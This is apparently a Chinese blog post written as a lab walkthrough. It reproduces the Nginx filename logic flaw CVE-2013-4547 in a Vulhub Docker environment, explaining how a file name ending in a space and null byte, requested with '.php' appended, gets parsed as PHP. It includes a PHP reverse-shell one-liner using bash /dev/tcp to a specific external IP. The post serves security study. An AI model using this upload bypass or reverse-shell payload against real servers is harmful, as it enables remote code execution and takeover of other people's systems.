学习Vulhub的Nginx文件名逻辑漏洞(CVE-2013-4547)

信息安全不简单鸭 2024-07-22 03:12:35

我个人的理解是先POST一个上传请求,内容是php脚本,但是文件名是txt后缀,只不过这个后缀结尾有一个%20%00,先欺骗web服务器,确实上传了一个txt文件,然后发一个GET请求,URL是这个txt文件路径加上.php,欺骗服务器走php解析,成功执行php文件,最后我演示了一个反弹shell,作为本实验的提升~

ailx10

网络安全优秀回答者

网络安全硕士

去咨询

下面是Vulhub的官方解释:

这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行。举个例子,比如,Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见的写法如下:[1]

location ~ \.php$ { include fastcgi_params; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name; fastcgi_param DOCUMENT_ROOT /var/www/html;}

正常情况下,只有.php后缀的文件才会被发送给fastcgi解析。而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则\.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞。所以,我们只需要上传一个空格结尾的文件,即可使PHP解析之。

前提:准备好docker环境,下载好vulhub,进入目录 ,开始复现漏洞

docker-compose build //可选docker-compose up -d

完成试验后,记得删除漏洞环境哦~~

docker-compose downdocker system prune -a -f //可选

简单访问一下,说明Nginx 文件名逻辑漏洞(CVE-2013-4547)环境搭建成功了

我们可以上传多种类型的文件,唯独不能上传php文件,但是我能上传内容是php的txt文件,然后在HEX模式下,修改txt文件后缀为2000

我们通过burpsuite来访问它,注意后面加上.php,否则不行

看到这,说明已经成功执行php文件了。那么,我们继续来看进阶的反弹shell ~

<?php system("bash -c 'bash -i &>/dev/tcp/174.137.58.6/8888 0>&1'");?>

先来一个POST请求

再来一个GET请求,虽然显示504,但是

反弹shell成功了

参考^Nginx 文件名逻辑漏洞(CVE-2013-4547) https://vulhub.org/#/environments/nginx/CVE-2013-4547/
0 阅读:5

信息安全不简单鸭

简介:感谢大家的关注